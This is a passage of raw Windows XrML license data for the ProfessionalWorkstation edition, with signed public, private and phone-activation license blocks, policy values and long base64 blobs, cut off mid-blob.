Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>51VqV92UH8IYCpbUYCzEoQtXqg4=</DigestValue></Reference></SignedInfo><SignatureValue>Hf9OuzcpXMj6vo+rzQPeKi/Jen9OkBVNBzLcw2aH4UhshZcFtEDtYI+C/jChRKe8I8xN6sGEgNwYwE6n+5CzdRaOW9hxu5/gM0xtq6ZDaQ3fTfLyOMXrJMjjoit09p/bBtpFeXefVeQZJIyax/34igsner2j9v3TR8Kn8uacKV/2lwizT0b+nCNo+pMsUyqQQ1P0GsxMR5cfeHaXT46czEfL8TGF6JOMYGttYDbx64HuAZXj3LEmPKM5+dolUDaUMqEjY3XiL4PGsvmKZn52PQI9OIQpBGaiPhJrDf8w0XHV0uCH4Eow7RIxZPJzgCbJviQFrN/WyqxigS2CnCiuFg==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{cd8e2e26-965b-455a-a961-0f0a620488a8}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{abb59ccc-9b5a-4d47-a15e-0dc427de0e88}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>qPxuqxVbbdTlsDGJ5eOqqkWYxiQ=</DigestValue></Reference></SignedInfo><SignatureValue>mM/6T+8v0uVypdPd6c5X1qr2qs8W2XfJAbbrYt+ptkyVY+xU7Oq6HDGmNkZqbnA105PcG74Qj+DOLp2yUlcxTkzKKW8SVgzyEdDOf36ZZKS6a2i7PHxGqvpT/FsqbcaK5w66u3CoWrWL1AJkwCAn8osMDBkpdIQfDPcGmOn1vrc+qbPKhStj1GmclfC0BTe0vku068a5KyDqbNz5CYs7seceHTEws3fAd+tBn31DO+LRp8gQuWMfOSEJZC6E3skqhNkqzPIcltTQq+7iOxX2sIZHjPZqlpsOtpLLXsCEMbrk1eQFdi8L7+BUDWgjIs/NfeJKhu4i7nuTki0efU0gpA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="privateCertificateId">{09c29711-c0ba-4ac4-be97-7cd80cacdc13}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{71ce6518-3581-46da-948d-083c57061836}</tm:infoStr><tm:infoStr name="productName">Windows(R), ProfessionalWorkstation edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMS_W10 channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">VOLUME_KMS</tm:infoStr><tm:infoStr name="Family">ProfessionalWorkstation</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{09c29711-c0ba-4ac4-be97-7cd80cacdc13}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>HjCGC9c+UP2CKHBCowzQxcaD3GM=</DigestValue></Reference></SignedInfo><SignatureValue>AGPkSjQHWMnIzOzl2i4XB6OYDl6CMvHfcDEb9I2h+t88XlujUtCwYfSpvWKF+jbZxoW8MioEb0bxoud9gmjCsLzexBISN0a5ZWtDCi2sIFt+rMw0Y23qvI0Njjl6c2myIosnGoK1BOXtzgERetmxz5PhVSkKL4T/IOSnsrcy5EN26JfG/pm/vt4iLBqXbLxBAo4mTs/DrJQvX6Cc9Dw2kLrord4Tq2CkS4/29rDDnfXUmhCG/9X7yTWSu4s7egYB78UXGTH/wjKf8GW+mu/sCkQPhZQhqGd69n0QDe9qf+pc1z1VTIWfpRdMXNrxXAEaI4W3G/ded1djMxnAZPsEPw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{abb59ccc-9b5a-4d47-a15e-0dc427de0e88}</tm:infoStr><tm:infoStr name="productSkuId">{30a42c86-b7a0-4a34-8c90-ff177cb2acb7}</tm:infoStr><tm:infoStr name="win:branding">161</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{e17af592-6632-46da-8ddb-a15e561d2632}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ProfessionalWorkstation"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList" attributes="override-only">{58e2134f-8e11-4d17-9cb2-91069c151148}, {d27cd636-1962-44e9-8b4f-27b6c23efb85}, {cb8fc780-2c05-495a-9710-85afffc904d7}, {3c40b358-5948-45af-923b-53d21fcc7e79}, {7fde5219-fbfa-484a-82c9-34d1ad53e856}, {212a64dc-43b1-4d3d-a30c-2fc69d2095c6}, {969FE3C0-A3EC-491A-9F25-423605DEB365}</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ProfessionalWorkstation</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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